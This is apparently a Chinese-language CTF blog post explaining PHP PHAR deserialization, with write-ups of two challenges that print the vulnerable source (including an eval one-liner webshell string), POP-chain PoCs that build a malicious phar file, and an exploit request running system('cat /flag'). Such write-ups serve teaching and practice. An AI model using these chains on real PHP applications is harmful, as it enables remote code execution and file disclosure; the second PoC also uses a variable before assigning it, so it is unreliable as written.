当前位置: 首页 > news >正文

PHAR反序列化

PHAR

PHAR(PHP Archive)文件是一种归档文件格式,phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容,这里就是我们反序列化漏洞的利用点

phar文件的结构

1.a stub可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contentsphar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)签名,放在文件末尾

将生成的phar文件上传成功后,使用phar协议读取文件,在使用phar伪协议解析时,php一大部分的文件系统函数(下图中的函数)都会将meta-data进行反序列化

phar反序列化利用的条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

[SWPUCTF 2021 新生赛]babyunser

存在文件上传,先上传一个一句话木马看看

发现会被解析为txt文件,那么先找找源码看看,利用查看文件的功能看看

index.php

<html>
<title>aa的文件管理器</title>
<body>
<h1>aa的文件管理器</h1>
<a href="upload.php">上传文件</a>
<br>
<br>
<a href="read.php">查看文件</a>
</body>
</html>

 upload.php

<html>
<title>aa的文件上传器</title>
<body><form action="" enctype="multipart/form-data" method="post"><p>请选择要上传的文件:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上传"/></form>
</body>
</html><?phpif(isset($_POST['submit'])){$upload_path="upload/".md5(time()).".txt";$temp_file = $_FILES['upload_file']['tmp_name'];if (move_uploaded_file($temp_file, $upload_path)) {echo "文件路径:".$upload_path;} else {$msg = '上传失败';}}

read.php

<?php
include('class.php');
$a=new aa();
?>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>

class.php

<?php
class aa{public $name;public function __construct(){$this->name='aa';}public function __destruct(){$this->name=strtolower($this->name);}
}class ff{private $content;public $func;public function __construct(){$this->content="\<?php @eval(\$_POST[1]);?>";}public function __get($key){$this->$key->{$this->func}($_POST['cmd']);}
}class zz{public $filename;public $content='surprise';public function __construct($filename){$this->filename=$filename;}public function filter(){if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){die('这不合理');}}public function write($var){$filename=$this->filename;$lt=$this->filename->$var;//此功能废弃,不想写了}public function getFile(){$this->filter();$contents=file_get_contents($this->filename);if(!empty($contents)){return $contents;}else{die("404 not found");}}public function __toString(){$this->{$_POST['method']}($_POST['var']);return $this->content;}
}class xx{public $name;public $arg;public function __construct(){$this->name='eval';$this->arg='phpinfo();';}public function __call($name,$arg){$name($arg[0]);}
}

明显存在php反序列化 ,构造poc后,生成phar文件,将phar文件上传之后再通过post来cat flag

<?php
class aa{public $name;function __construct(){$this->name = new zz();}
}class ff{private $content;public $func = "assert";function __construct(){$this->content = new xx();}
}class zz{public $filename;public $content='surprise';function __construct(){$this->filename = new ff();}}class xx{public $name;public $arg;
}$a = new aa();
echo urlencode(serialize($a));# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

生成phar的部分可以直接套用

payload

file=phar://upload/a5251443346d8ea6c85877d7ef036536.txt&method=write&var=content&cmd=system("cat /flag")

[SWPU 2018]SimplePHP

查看源码,提示flag的位置在flag.php

还存在查看文件的模块,看看能不能利用来查看源码

file.php

class.php,序列化的代码,但是给了phar协议的提示

大概率是phar反序列化,function.php主要就是限制上传文件的后缀

整理一下思路,已知flag在flag.php中,但是没有办法直接访问flag.php,因为在file.php中限制了只能访问var/www/html下的文件;再看序列化的代码,不存在unserialize,怎么进行反序列化,通过phar文件自动触发反序列化;通过文件上传触发序列化之后利用file_get_contents来读取flag.php

开始构造pop链

链尾毫无疑问是Test::file_get(),file_get在get中被调用,所以触发get就能调用file_get,从get开始倒推到链头

_get访问不存在的变量时触发,Show::_toString,source是不存在的变量无法调用

在C1e4r中,echo可以触发_toString,destruct在变量摧毁时会自动触发,所以就形成完整的pop链C1e4r::_destruct->Show::_toString->Test::file_get()

poc

$s=new Show;
$t->params['source']="/var/www/html/flag.php";
$t=new Test;
$s->str['str']=$t;
$c=new C1e4r;
$c->str=$s;

生成phar文件上传后进入 upload页面拿到文件路径

用phar伪协议读取

?file=phar://upload/643dfaadf749736256e05de9e40b864b.jpg

最后进行base64解码,拿到flag

http://www.lryc.cn/news/360886.html

相关文章:

  • Rust安装
  • 513.找树左下角的值
  • docker基础,docker安装mysql,docker安装Nginx,docker安装mq,docker基础命令
  • MyBatis二、搭建 MyBatis
  • 昵称生成器
  • mysql仿照find_in_set写了一个replace_in_set函数,英文逗号拼接字符串指定替换
  • 机械设计手册第一册:公差
  • 如何把图片保存成16位png格式?
  • vue 关闭页面前释放资源
  • 堡垒机,日志审计系统,行为管理,漏洞扫描的作用
  • JVM学习-自定义类加载器
  • NDIS Filter开发-OID 请求
  • 软考 系统架构设计师之考试感悟2
  • [学习笔记](b站视频)PyTorch深度学习快速入门教程(绝对通俗易懂!)【小土堆】(ing)
  • Flutter开发效率提升1000%,Flutter Quick教程之定义构造参数和State成员变量
  • R语言数据分析-xgboost模型预测
  • 使用redis的setnx实现分布式锁
  • LangChain进行文本摘要 总结
  • 政安晨【零基础玩转各类开源AI项目】:解析开源项目的论文:Physical Non-inertial Poser (PNP)
  • 【机器学习】基于OpenCV和TensorFlow的MobileNetV2模型的物种识别与个体相似度分析
  • 建模杂谈系列244 TimeTraveller
  • 基于MingGW64 GCC编译Windows平台上的 libuvc
  • 【Linux】网络高级IO
  • 【C++ ——— 继承】
  • kafka-守护启动
  • TypeScript 中的命名空间和模块化
  • 9 html综合案例-注册界面
  • Xilinx RFSOC 47DR 8收8发 信号处理板卡
  • ros2 launch 用法以及一些基础功能函数的示例
  • 如何使用Python获取图片中的文字信息